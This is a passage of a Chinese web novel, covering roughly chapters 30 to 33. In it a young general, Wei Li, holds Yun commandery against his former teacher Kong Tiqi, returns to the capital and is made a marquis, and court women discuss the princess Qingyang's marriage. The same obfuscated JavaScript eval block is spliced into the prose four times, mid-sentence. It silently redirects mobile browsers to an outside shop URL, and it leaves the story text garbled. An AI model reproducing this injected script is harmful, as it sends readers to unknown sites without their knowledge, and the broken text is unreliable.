魏离走出太守府时正看到李倓越牵着他的马带着部下从城中大道走来,前头的府兵正在疏散民众,以供他们通行。 他丢开手里的剑,等李倓越带马经过时,扯着马缰上马,另一侧的城门也已经打了,一行人安稳地出了城。 “将军的功夫真了得!”那么高的城墙说上就上,李倓越是真佩服他,“师从何处啊?” “我师父不让我传他名讳。”魏离看着大道两侧越来越茂密的树木,有些感慨,上次来这,已经是五年前了。 还是世外高人啊!李倓越更佩服了。 ———— 等魏离带着这一百人花了五天时间翻过高山到达云郡边上时,顾怀真已经在了。 “我原以为魏将军还要再晚一阵子,没想到这么快。”顾怀真知道陈环为难魏离的事情,先前还有些忧心,现在看魏离身姿挺拔安然立于骏马之上才放下心来。 “本来是该晚一阵子,但陈太守舍不得命。”魏离没有下马,“我打算直接往前线去,前面来的大部队是在这还是到前线去了?” “在前线,但他们不服管教,至今散漫。”汪水渟只是将军,不是大将军,根本管不住那么多士兵,而且这支队伍还是文帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588184|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从西南调来的,西南守军出了名的散漫,上头的将军去年告老还乡,自那之后将军之位一直空悬,整个队伍都有些散乱。 “不服管教那就都派往前列当死士,大宁的逃兵是株连家人的。”魏离的面色一路上都没好看过,现在更冷了。 魏离好像变得有些不一样?顾怀真皱着眉头,他以前不会提出出这么粗暴的方法。 这一路上魏离也感受到自己的脾气变了。先前要离开玄山寺的时候,静斋师父告诉过他,只要他选择接触世事,脾气就慢慢会变得古怪,阴晴不定,这也是他母亲将他安置在山上的原因。 “是我着急了。”魏离想了一会,还是下马和顾怀真探讨了如今前线的军情。 如今对面派来的是当年叛国的大将军,那大将军名叫孔啼奇,武艺高强几乎无人能敌,他当年在大宁的时候十五岁上战场,无一败仗,先帝因为他战功太过显赫,只能封他一个镇国大将军,是大宁的第一个大将军,也是迄今为止唯一一个。他叛国的时候也才二十岁,如今十年过去,应当也是正值壮年。 “根本没办法,汪水渟一上场不到半柱香时间就败下阵,我军士气低迷,根本打不赢,只能勉强守城,此次求援缺的也不是兵力,缺的是能够和大将军过上几招的人,起码士气不会这么弱。”行军打仗最重要的就是士气,若士气不振,不战自败。 顾怀真本也不想让魏离来的,他到底是救了汪水渟一命。 如今几乎大半个朝堂都想要魏离的命,让他离开卞城完全是不正确的选择。虽然魏离在他们离开卞城之前有参战的意愿,但顾怀真还是担心他在半路上遭到截杀,光自己知道的,在到达陈郡之前,魏离就遇上了十几次的截杀。 “我也未必有与他一战的能力。”孔啼奇的武艺有多高强魏离又怎么会不知道,他的眼前浮现起五年前初见孔啼奇的场景。 那年他被静斋先生送到云郡学些本事,他本以为只是到云郡,没想到一路被送到了已经变成周朝领地的云城,见到了孔啼奇。 孔啼奇本是不想教导他的,但不知道静斋在信上写了些什么,他突然又愿意收他为弟子了。 这一学就是三年。 现在想来,怕是静斋早就在信里写了,他会替孔啼奇死去的女儿报仇吧。 “试试吧。总比一点希望都没有的好。”汪水渟在魏离来之前又不死心去和孔啼奇应了战,也许是孔啼奇不愿意再逗小孩玩,一枪将他挑下马,他到现在都还昏迷不醒。 恐怕西南军不服汪水渟也是因为他屡战屡败,还输的难看。魏离和顾怀真交谈过后重新上马,带着这一百人,往云郡最边上的前线去。 顾怀真腿脚不便是乘的马车,他等不了,也没理由等。 这次跟孔啼奇,恐怕真的不得不你死我活了。 不知道他还记不记得五年前把桂花糕砸了他一脸的小孩。 30. 第 30 章 魏离到边城时,汪水渟才刚刚转醒。 太丢脸了,汪水渟将脸扭向靠里的那边,不愿意面对自己被人挑下马,还晕了过去的事实。 “汪将军好好养伤吧。”魏离看着他惨白的半张脸,觉得好笑,这么多年他难道从没吃过败仗?这有什么不好意思的? 魏离正想着要不要先去见见那堆“不服管教”的将士,边想边走着要进顾怀真给他安排好的营帐时,一小包东西兜头砸来,差点给他脑子砸懵。 小巧的油纸包从他脸上落到地上,轻轻地带起一小阵尘土。 魏离揉揉鼻尖,弯腰捡起来,尘土气息里传来一股桂花香气。他端在手里,小心翼翼地抽开包装的细麻绳,雪白可爱的四块小桂花糕正安安静静地躺在亮晶晶的油纸中央。 是云城那边的桂花糕,云城那边的人做桂花糕的手法跟其他地方的人不一样,他们用的是桂花糖浆。他们喜欢用收集好的桂花炒制成桂花糖浆,淡黄色的小桂花悬在琥珀色的糖浆里,香气扑鼻。用桂花糖浆制作的桂花糕,比起其他地方的桂花糕多一些香气和甜气。 孔啼奇来过了。 魏离在衣角边上随便擦了两把手,拈了一块起来放入口中,久违的桂花糖气混合着糕点的粉渣在口腔中炸开,他寻找了五年都没能找到替代品。 他捧着剩下的四块小桂花糕,掀开帐帘进了营帐。 孔啼奇正在军营边上卡着巡逻士兵死角翻墙出去,他实在是没想到,魏离会是如今这副模样,也许这就是静斋先生说的“原本的模样吧”。 孔啼奇当年见到魏离的时候,魏离还是一个小毛孩,十三四岁的小孩正是叛逆,不愿学剑,硬要学枪,还砸了他一脸的桂花糕,气的他三个月没给他买过糕点。 也不知道那时候的静斋是怎么和他提起母亲的,魏离成天把自己母亲挂在嘴边,说什么母亲早晚会回来接他的。 有一日魏离偷喝了他从朝中得的赏赐里的陈年老酒,醉的拿着一把不知道从哪弄来的、脏兮兮的豁了口的破剑把院子里的桂花树砍了个七零八落,满地的桂花被踩的不成样子,哭着问他母亲为什么七年多来连封书信都不愿意给他,是不是不要他了。 孔啼奇没办法把真相告诉他,就像当年没能回京取回女儿的尸骨一样。 可怜的天真小孩,再也不会想母亲什么时候来接自己了。 孔啼奇翻出墙时,魏离在帐中将剩下的桂花糕重新包起来,想着到时候去了云城,找个师傅学一下这桂花糖浆怎么制,到时候回去做了桂花糕分给周聚他们尝尝。 营帐不远处聚集了一大帮人,正听着李倓越讲述魏离三两下“蹭蹭蹭”地飞上那么高的墙头拿刀架着陈郡太守逼他开城门的传奇故事,虽然他只看到了魏离上城墙的部分,但是不妨碍他从当时的形势进行脑补。 魏离一身血地站在太守府门口扔掉手上沾血的刀时,真的是如同英雄下凡,在他心里一下就涨了好几个档次,陛下终于能派一个有真本事,还身体力行的将军了。 “他真有你说的那么神?”左先锋最先质疑,实在是陛下这一年派下来的将军都实在是太差劲了,如今这个将军又是个肤白俊美,风度翩翩,据说还是连中三元的状元郎,这怎么可能带的好兵? “我听着也像假的。”右先锋比左先锋更不相信魏离,“先前派下来的也是这种小白脸。”他还是更相信汪水渟这种锻炼得五大三粗的勇猛将军。 虽然汪水渟辜负了他的期望,让他在跟左先锋的赌约里一败涂地,赔了两块面饼。 “开盘?”左先锋看向一脸不服的右先锋,“还是两个饼,我赌魏将军撑不过大将军三个来回。” “这赌什么,好的都让你占了!”右先锋更不服了,“你这样怎么赌嘛!” “那你们俩都赌一样的,我跟你压反的,我觉得魏将军能撑过三个来回,说不定打得不分上下呢!”李倓越看向边上围着的士兵们,“还有谁要参加?” 边上的士兵们一致摇头。 “那行,就这么定了啊!我跟你俩赌,输了我给你们一人两个饼。”李倓越拍拍他俩的肩,“你们就瞧好吧!” ———— 孔啼奇虽然心疼魏离变成如今的模样,但也不会手软,更不会给他休息的时间,翻出军营会到自家营地就开召集军队,准备再次攻城。 先前那个将领的本领实在是太差了,要是大宁的将军如今就这个水平,那他带兵翻过云郡山脉,攻下整个东南指日可待。 他绝不会放过清阳公主。 这边魏离正在汪水渟的帐子里研究云郡的沙盘,他上次离开云郡是两年前,地貌和城池分布都有挺大的改变,尤其是前年文帝下令云郡边上的田地都改种蚕棉,百姓为了能挤出些地来种粮食用以度日,将不少丘陵夷平,填了不少的湖泊。 他在云城时听说文帝下令将良田改种蚕棉,还跟孔啼奇开玩笑说,这下周朝如果要攻下云郡,只要把粮草烧了就行,云郡那么大一条山脉,就算外面的广郡陈郡是富贵米乡也不可能短时间内送来粮草。 如今这两年前的箭倒是正中他的靶心。 “派些人去守着粮草。”他喊来外面的李倓越,“一定要看好粮草,否则我们会一起死在这。” “是!”李倓越小跑着出门,差点撞上迎面冲过来的左先锋,“城门有情况了?” “没空跟你多说!”左先锋没理他,径直冲进营帐里,“将军,外头来攻城了。” “知道了,你们先去,我马上到。”魏离的眼睛仍旧盯着沙盘上孔啼奇军队所在的地方,边上有条河。 左先锋急匆匆地走后,他取了汪水渟的枪和铠甲,仔细一想,方才那个好像是顾怀真说不服管教的军伍左先锋? 看起来没不服管教啊? 他不再多想,往城门赶去。 今天的天阴沉沉的,隐隐有些细雨丝飘落,孔啼奇正在提枪在马上,任凭先锋副将轮番上前叫阵大宁的军队。 城门大开之时,他看着光亮中领头的青年一身黑甲,提着的正是那个被他挑下马的小将军的枪。 枪是好枪,就是功夫烂些。他仔细盯着魏离的脸,五官上似乎找不到半点以前的影子,只剩下一身宁静的气息还如同之前一样。静斋改面这么厉害的?他驱马向前,“你就是那个狗皇帝新派下来的将军?真是可笑,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588185|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就当真忌惮武将到这个程度?连个大将军都不敢封!” “陛下仁心仁德,只是我尚未有功勋在身,当不起大将军之职。”魏离轻轻一笑,孔啼奇老了。他曾经俊朗的面容如今已经带上了皱纹,眼里也再没有当年的轻快气息了。斩不断的仇恨,是会把人变得扭曲,变得难以辨认的。 “听说你杀了永安王?”孔啼奇忍不住多看他两眼,但到底是养了三年的弟子,他还是更想知道,如今魏离的功夫有没有长进! 他不等魏离回答,便提枪驱马上前,身边的先锋将士们也跟着冲锋,一时间悠长激烈的角声交织在鼓声里,黑压压的乌云下面,连土地都染上浓重的灰色。 “是我杀的,我还砍下了他的脑袋,可惜已经交给陛下了,不能给你长长见识。”魏离也不避,迎着银光闪烁的玄铁枪就上去,金属敲击声震得周围的人头皮发麻,给他二人腾出了一片场地。 李倓越刚接了腿脚不便好不容易到达的顾怀真上城楼,就看见黑压压一片里中出现一块干净的场地,魏离和孔啼奇正在其中交战,士兵扑杀生死之际居然还有心思给他俩腾场地? 看来这四块面饼,是赢定了。 顾怀真紧紧盯着魏离一下都不敢眨眼,他先前看汪水渟和孔啼奇交战时就感觉到孔啼奇的枪法很眼熟,如今一看居然跟魏离的枪法一模一样。 如今应该说,魏离的枪法跟孔啼奇一模一样。 “没退步,挺好。”孔啼奇险之又险地将接近心口的枪风挡开,“小橘子还是跟当年一样,一点都不愿意放水。” 当年在云城,六皇子和七皇子曾经来看过魏离,那时他顺手教了他们兄弟两招,让魏离陪他们练会儿,结果魏离用木枪给七皇子打晕了,六皇子因为腿脚不便,只是被挑飞挂到了树上,受了些轻伤。 “大将军不是想看看我这些年有没有长进吗?我要是留手,您怎么看得清?”魏离又是一枪差点划过他的额头。 孔啼奇当然也没放水,也就不可能一味的防守。他的力气比魏离大一些,但年纪大了终究是没有年轻人灵活,勉强将魏离打退两步,找不到破绽下手。 “练得不错。”孔啼奇又是一枪如龙出海,直逼魏离心口。 魏离也不甘示弱,提枪再相迎,破空之声不断炸开,金属撞击的声响越来越频繁,火花四溅,你来我往。 魏离的长枪在空中划过一道诡异的弧线,伴着闪电划过阴沉的天幕,倾盆大雨坠天而来,孔啼奇一发力,两人竟是僵持不下。 孔啼奇知道魏离用的是巧劲,否则绝对拼不过他的力气。 此时周围的大宁将士的气势空前高涨,因为主将落败多次低迷的氛围被魏离这一场长时间的交战完全提了上来,甚至比之前还要激烈。 “将军,我们有些挡不住了!”副将远远吼了一声,也不知道这些人怎么突然这么勇猛,明明上次还是一群死气沉沉的哀兵。 “撤!”孔啼奇根本就没想在此次击败魏离,也没想攻下城池,先前那个将领不行导致士气低迷时他们都没能攻破守城,如今魏离一来,与他战得不相上下,更不可能攻下来。 他的目标,是粮草。 31. 第 31 章 魏离见他们撤退,也不追,持枪立在马上。几声闷雷过后,天空重新放晴,鬓边的碎发被雨水打湿黏在脸颊上,他调转马头回去,方才在城墙上观战的李倓越已经不见了,只剩下顾怀真一人朝他挥手。 这是云郡第一场胜仗,虽然没有什么实质性的进展,但士气到底是抬了起来。 “魏将军真是料事如神啊!”被派去看粮草的右先锋救火时被熏了一脸烟气,整个脸黑一块白一块的,“当真有人来烧粮草!” “我就说他跟之前那些空架子都不一样吧?你们是没看见,他今天在战场上跟那个大将军打的不分上下!大家都自觉给他俩腾位置,就怕误伤!”说到这个,李倓越可就兴奋了,让他们不相信他! 当然了,这可是他们在两年前就想到的办法。在聚成堆的将士们不远处站着的魏离取下头盔,用湿透了的袖子抹了一把脸,被雨水淋湿的铠甲在刚放晴的天色下显得熠熠生辉,他整个人站在光芒中,不似真人。 或许是李倓越心有所感,一回头正看见魏离站在不远处看不清楚表情,吓得猛拍右先锋的肩膀。右先锋踹了他一脚,也跟着回头。 “都看着我做什么?”魏离将头盔捧在手上,皱着眉头看向凑成一堆叽里呱啦的将士们,“该干嘛干嘛去,战后要干什么,还要我来教?有什么话干完该干的事情再说。” “是!”所有人都答应的很痛快,很有气势,震得顾怀真觉得自己出现了幻觉。 要是把这变化讲给还不能动弹的汪水渟听,恐怕他又得不好意思得睡不着觉。 “多谢魏大人愿意来到前线。”顾怀真将两军的调令一同递给他,“这是两军的调令,水渟他忘记给你了。” 魏离接过两块桃木刻造的军令,粗糙的桃木配上粗糙的纹路,跟假的一样。但这两块军令确实是真的,大宁就是用这种粗制滥造谁都能仿的军令。因为最初制作时,监造觉得武将粗鄙,不配用跟文官一样的梨花木漆器,而当时的先帝知道了但并未勒令重造,也就一直用到了现在。 “晚上给每位将士多发两块面饼。”魏离叫来李倓越,因为他只认识李倓越,让他去叫炊事兵多做点面饼。 “是!”李倓越心中一惊,手脚都不协调起来,魏离这是知道他们开盘赌他什么时候会落败吗?虽然他赌的是三个来回以上,但军中是明令禁止这种行为的啊! 魏离感觉到他的僵硬,将脱下来的铠甲和手中的长枪都递给他,拍了拍他的肩膀,“帮我清洗一下送回主帐,这一次我就当我不知道,不要有下次。” “是!”李倓越汗流浃背了。 他再也不敢了! 魏离目送他同手同脚地离开,转身问了顾怀真打水的地方,自己打了桶凉水准备回营帐洗澡去了。路过炊事营时,他还特意多要了桶热水,希望这次不会再染上风寒,他可不想再带病上战场。 孔啼奇“送”的桂花糕还剩三块,他本想留着明天吃,但梳洗完被那香甜的桂花气味迷得走不动道,索性全吃了。 吃完后他仔细地将油纸包装叠好用原配的细麻绳捆好,收拾进用来装先前集起来的三小段骸骨的铜盒里。刚收拾好躺在床上,又起来,他还是觉得孔啼奇会夜袭,还是得把铠甲和兵器搬到自己帐子里。 孔啼奇最喜欢用疲敌之计,通过不断的骚扰、袭击、诱敌追击,让敌人在不断消耗体力和士气,最终疲惫不堪。静斋先生曾经说过,他是天降将星,跟永安王可不是一个档次的。 他披了件外衣就出门搬铠甲,才刚刚到主帐呢,外头的警戒号声就响起来了。 魏离叹了口气,抓着铠甲往身上套,其实汪水渟的铠甲对他来说有些大了,抠门皇帝只知道让他来当将军,也不知道给他准备个铠甲兵器。人家正统武将不需要准备是因为他们本身就是从武将做起,自己准备好了。他一个新科状元,当个三品的文官,怎么可能给自己置办铠甲兵器? 何况趁手的好武器,哪能随便找到?街上卖得都是些普通的兵器,汪水渟这个还是他父亲替他求来的。 总不能因为他曾经用别人的武器能打,就一直让他去借别人的吧? 魏离拽着长枪就往城门去了,粮草动不了,那就半夜攻城,真不愧是孔啼奇。 黑压压的一片人前仆后继地往城墙上爬,不断有人往下坠落,或死或伤,但孔啼奇没有下令停止,直到魏离下令开始用猛火油守城,他们才减缓了些速度。 魏离不理解,为什么这么多人愿意听他的话置生死于度外,为什么他能眼睁睁看着这些人送死。 蛋白质烧焦的气味夹杂着布料被烧毁的气息不断凝聚、盘旋在战场上空。魏离和李倓越指挥着将士们倒油点火,一具具的尸体在惨叫声中落到地上,发出重物砸地的声响。 为什么他还不下令停止?他不在乎这些损失吗?魏离紧紧盯着一直坐在马上一动不动的人影,心下一惊,“李倓越!带人去支援另一座城门,再派些人去看看汪将军和顾先生!” “可是这……”这的战事这么着急…… “快去!”魏离快步穿过不断忙碌的士兵,走到他身边,拎着他的衣领就把他往下城楼的楼梯上丢,“那个孔啼奇是假的!” 魏将军力气怎么这么大啊!李倓越不敢再耽搁,怕魏离一气之下给他拎起来扔到城楼下面跟落下去的焦尸躺一起,一溜烟就跑没影了。 魏离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588186|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下手中的长枪,抓了把城墙上放着备用的长弓,一箭射向那道人影,没用多少力气,那马背上充场面的人影轻飘飘地倒下了。 他回头继续看着烈火中坚持不懈往上爬的周朝士兵,为什么,为什么他们要这样牺牲自己?明明主将都不在,为什么要这么坚持? 魏离实在忍不住,不顾烈火舔舐,抓住了一个正要惨叫着跌下去的人影,“为什么要这么为周朝卖命?” 那个人摇着头剧烈挣扎着脱离了他的手,只留下红肿的伤痕和黑色的灰烬在他手上。沉重的闷响激起一片火浪,几乎要燎到城墙上的士兵。城墙下的士兵还在往上爬,爬到尽头的士兵也还在不断往下坠落着。 魏离闭上眼,调整了自己变得紊乱的气息才重新睁开眼看向不断往上爬的士兵。他们能从死亡中得到什么?周朝许诺了他们什么? 一直等到天边缓缓露出鱼肚白,他们才回到自己的阵营中,收兵撤退。一缕曦光轻轻地打在城们不远处掉落在马下的稻草假人身上,又一缕曦光轻飘飘地落在被一夜火焰燎烤地黢黑的城门城墙边上,漆黑的尸骨层层叠叠地堆了半个城门高,令人窒息的烟气还未来得及散开。 “将军,我们真的能战胜他们吗?”右先锋也看着城墙前堆叠起来的尸体,只是强一点的敌人,他相信自己终究会胜利,但敌人不要命,甚至前仆后继准备好去死,他真不觉得他们有胜算。 差太多了。 “能。”魏离转过头看着他,“我们不赢,城墙下的死亡,就是我们的下场。” 孔啼奇能让自己的士兵送死,自然也不会对他们手软,当然,有可能对他手软。 “让人收拾一下城门的尸体,全部烧个干净,以免疫病。”魏离下完命令转身就往军营中间去,昨夜必然是调虎离山,分敌之计,但孔啼奇想不到文帝会愿意调兵十万支援云郡,八成以为魏离是一个人来的,因为他当年孤军守云郡,最艰难的时候,孤立无援。 正好比魏离早到的将士们因为不服汪水渟,没参过一次战,孔啼奇根本不知道他们的存在。这次必然是失败的,白赔上一大批将士们的性命。不,也不算白赔,至少动摇了他这边参与守城的将士。 人总是会惧怕死亡的,也会惧怕那些不怕死的人。 孔啼奇确实带人从山道潜伏到另一面城门去了,李倓越带人赶到的时候他已经带着十几个人翻上城墙,十来个人在城墙上和守兵缠斗,几个人已经往营内去了。 所幸支援来得及时,他们没能得手。 魏离安静地听着李倓越汇报当时的场景,周朝兵力充足,不怕死,孔啼奇又不是个好对付的。 这注定是一场持久战。 32. 第 32 章 魏离在云郡和孔啼奇僵持了三个月,两人都没有半分进展。 魏离和孔啼奇太熟悉了,熟悉到两个人都能猜到对方的下一步 但对于大宁来说,没有进展就是最好的进展,虽然当年在中秋夜宴上,魏离曾说过自己会收回云边十六郡,但大家都只当是他为了不被当做礼物送往周朝的借口而已,没有放在心上。 只要不被孔啼奇打进来,那就是胜利。 城墙边的将士们还在收敛尸骨核对姓名。魏离站在城墙上远远地望着周朝的军营,一座座褐色的帐子扎根在隐隐冒出些绿意的土地上。 春天到了。 他看向那些营帐边上开起来的满树淡粉色桃花,今年桃花开的时候,他确实不在京城。桃花树下站着一个熟悉的影子,那人似乎也往这瞧着。 他会拿回十六郡的,他会让文帝为了他牺牲自己唯一的女儿。 他会完成孔啼奇的愿望。 周朝军队在惊蛰那天的雷声过后,好像失去了先前有如神助的精神气势,终于显出疲态,一路节节败退。 当年中秋,魏离亲手将云城军营的旗帜换成大宁的军旗,亲自拜访了几年前孔啼奇常买来给他的桂花糕老板,花了三天时间学习如何做出口味独特的桂花糕和晶莹剔透的桂花糖。 文帝收到魏离传来的书信消息,喜不自胜,给清阳公主的嫁妆又加了二十抬,传旨让魏离回京述职,顺便将先前定好的婚事办了。 收到文帝让人加上的二十抬嫁妆的清阳正在自己的院子,躺在榻上,安心地里听着云郡来的歌姬唱最近京城里新兴的曲子,猛然收到父皇送来的珍贵嫁妆,自然是高兴得叫停了曲子。 “我看这个魏大人回来,还会得到更多的封赏。当时觉得他一介布衣,配不上公主殿下,倒是奴婢看错眼了!”等送嫁妆的太监们都走了,院子里叽叽喳喳地响起侍女们的声音。 “我当时随殿下在院子外面远远看过魏先生一眼,一看就是干大事的!”一直照顾清阳公主长大的嬷嬷也是喜上眉梢。 “这未来驸马爷不止长得好看,还能文能武。文能连中三元,武能收复云边十六郡!还是殿下的眼光好!” 一时间院子里满是欢快的气氛,连着听说魏离不日要回京城述职,带着些愁绪的清阳都暂时忘记了脑中的烦恼。 “但魏将军述职之后,还会回云郡的吧?”先前跟着大家出来下跪接赏赐的云郡歌姬也想参与她们的讨论。 “这……那要是殿下嫁过去,不得跟着去?留在京城一个人也不好过呀!”先前还高兴的嬷嬷一下子垮了脸,在京城好歹有陛下和皇后娘娘照顾着,奇珍玩意都能第一时间享受到,若是跟着魏离去了云郡,边境苦不苦是一回事,但殿下可就和陛下娘娘分开了呀! “诶,你是从云郡来的吧?云郡那边怎么样呀,我听说驸马爷先前去的卞城苦寒,要什么没什么。云郡在南边,应该还好吧?”一个婢女拽了歌姬一把,“和我们说说呗!” “我听说云郡风景秀丽,还盛产蚕棉呢!” “云郡……”那歌姬看着周围连带着清阳公主,全部聚集过来的眼神,有些不好意思,“奴说声不好听的,殿下别介意。” “说吧,不会罚你的。”清阳公主还让人给她搬了把椅子,“坐着慢慢说。” “谢殿下。”那歌姬轻手轻脚地扶着椅子坐下,生怕一个动作让清阳公主不开心,给拖出去打死,“奴先前在云郡的时候,是因为家里实在吃不起饭才卖身的。早些年云郡的田地还是用来产粮,这些年大部分的田地都用来种蚕棉,粮食的价格飞涨,别说普通百姓了,连着县官老爷都吃不起大米饭,吃的都是红薯面。” “所以奴觉得魏将军能打赢周朝,真是天降将星。”她小心翼翼地看着清阳的脸色,“云郡除了粮食价格上涨没什么吃的之外,虽说大面积种植蚕棉,但全都是未经加工就送往陈郡,本地根本没有花样新鲜质量好的衣裳穿。” “还有出行,云郡遍是山地,虫子猛兽多不说,山贼也多。那些山贼都是实在没办法了才入的行,只要有饭吃什么都干,连官家都劫!殿下先前应该也听说过,魏将军驰援的时候就遇到好几伙山贼,最嚣张的那帮人还炸了两座山头!” 这件事清阳公主确实知道,那个陈郡太守上书来要银两去修复被山贼炸毁的山头。 “衣食行都说了,接下来就是住。殿下是不知道,奴是来了京城才知道这世上有房子是这么结实漂亮的!云郡的房子,别说防贼了,连奴都能推两下就要倒!” “真这么苦啊!殿下要是跟了魏大人去云郡,那不是得天天吃苦吗!”嬷嬷看着自己从小教养到大的清阳公主,又心疼起来。也不知道陛下和皇后娘娘会不会心疼清阳公主,让她留在京城。 “殿下能不能求求陛下,让魏大人留在京城任职呀?”有一名小婢女最先想到办法,“魏大人不是身兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588187|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数职吗?让他继续当礼部侍郎的职,不就能留在京城了?” “驸马爷如今重新收复了十六郡,有这份功劳,说不定他能找陛下求个恩典,留在京城呢!” 清阳公主没有参与她们的讨论,脑子里乱糟糟的,不断回想起苏延的话。 她不能跟着去云郡。 ———— 魏离揣着清阳公主当时给的荷包,骑着高头大马,带着几千名将士在百姓夹道欢迎的呼声中进了京城。在回了京城养伤的汪水渟和不敢相信自己眼睛的汪水铎复杂的眼神中,进了金銮殿。 “微臣参见陛下,陛下万岁万万岁!”他带着李倓越对着文帝行了个大礼。 “爱卿快快请起!”文帝这几天高兴的快把脸笑垮了,还好当时自己女儿和老娘眼光好,硬是不同意他把魏离送给周朝,周朝当年白得了一个孔啼奇,再来一个魏离,那不是直接一统天下? 还好没让崔仪抢先把自己孙女定给魏离,这样的人才还是握在自己手里好。 他越看魏离越觉得这就是老天给他派来的宝贝!一表人才,一张脸貌如潘安,文能治国武能安邦,这女婿他是越看越顺眼! “朕闻捷报频传之时,就知爱卿英勇善战,自卞城始至云城终,屡建奇功,克敌制胜,凯旋而归,实乃国家之幸,社稷之福,朕之良才。朕心甚慰,特于此日,聚百官于朝,共庆此胜,亲赐封赏,以彰卿之功勋。 车骑将军兼礼部侍郎兼都护监军魏氏离,自受命出征以来,不畏艰险,身先士卒,以寡敌众,所向披靡,英勇果敢,智勇双全,屡出奇计,使敌军望风而逃,国家疆土得以安宁,百姓得以安居。此等功绩,非言语所能尽述,实乃忠勇之典范,将士之楷模。 朕心知,卿之所以能有今日之胜,皆因心怀家国,矢志不渝,忠于朕,忠于国! 今日,朕特赐卿以超品侯爵之位,赐封‘平宁侯’,追封“忠勇大将军”,赐良田百亩,金万两,城内官邸三处,金银器物、古董绢锦千件。另封清阳公主为正二品固伦公主,嫁妆一百八十台,特许以凤冠霞帔出嫁。 望卿今后继续秉持忠诚勇武之精神,为国家效力。愿你我君臣同心同德,共守国家之安宁!” 魏离再次跪在大殿之中,身姿挺拔气质清冽,字字掷地有声。 “臣,谢过陛下,愿山河无恙,四海皆平,陛下万安。” 苏桓在一边气的差点将一口好牙咬碎。 33. 第 33 章 魏离归来受封平宁侯这件事很快就成为京城最大的热点,连带着李倓越和左右先锋都得了脸,满城的说书人都在想办法约他们仨出来,听他们讲魏离的事迹,好编成新的、最时兴的故事来说。 当然,在女眷中最得人眼红的就是清阳公主,从八品的小公主一下凭着魏离的功绩白得了个二品固伦公主,还添了那么多新嫁妆,听说足足有一百八十抬呢!别说公主了,就连当今皇后的嫁妆都才一百四十抬! “清阳当真是眼光好,从一堆酸腐书生中挑了个顶好的!”太子妃冯氏笑着让人将自己准备好的添妆搬上来,满满一箱子的珠宝,看得在座的侍妾都红了眼。 “大嫂莫要打趣我了!”清阳公主红着脸故作镇定地喝了口茶,转而看向那一大箱子金银宝物,“我用不得这么多东西的,大嫂收着些吧!” “你可是殿下唯一的亲妹妹,如今你出嫁,我这个做大嫂的,怎么能不添妆?”冯氏说着看向下头坐着的六七名侍妾,“你们虽说是做妾的,但到底也算是殿下的人,也都是正品官家的人,也不表示表示?” 苏烟罗知道太子妃这是在点她呢,她是不缺这点东西,可清阳公主,不是已经准备叫陛下收回成命,退婚改嫁苏延吗?这么快又变了心意? 她开口就是娇声软语,“妾给公主殿下准备了十匹上等绢纱,都是用最珍贵的蚕棉纺的,都是时兴的花色。” 听到蚕棉二字,清阳又想起那日那云郡歌姬口中,衣食住行都不甚方便的云郡,脸上的笑意退了几分。 “听说现今蚕棉都从云郡来的,那要是殿下跟着平宁侯去了云郡,还不是要多少有多少?”翰林家的柳氏书香门第,平日里最看不起的就是苏烟罗这般模样,一听苏烟罗嘴里传出来的娇俏声音心下不舒服得很。 虽说都是做妾,但她可是轿子抬进来的,跟那种自奔为妾,连顶轿子都没有的可不一样。 “云郡可远着呢……”冯氏看着端着茶杯小口小口抿的清阳,眼中流露着些许不舍,很快又划过一丝快意。如今她落到和这一群不省心的贱人争宠,都是因为清阳。 当初清阳对她保证,太子对她情根深种,原本是打算聘她为太子妃,但太后给他定下了苏柳玉。之后太子天天辗转反侧,困苦难眠,直到苏柳玉香消玉殒,赶忙让清阳来试探她的心意,她这才答应了嫁给他。 刚进门,新婚燕尔,太子对她确实是好极了,要什么有什么。可没过多久就来了苏烟罗这个不知廉耻的爬床,太子居然还敢给她求侧妃之位!他们才成亲不到一个月! 不说这个苏烟罗不是省油的灯,这太子也不是什么好鸟,有了苏烟罗之后,又纳了多名官家的庶女养女回来。整个后院如今乌烟瘴气的,她自那之后就没睡过一个安稳觉! 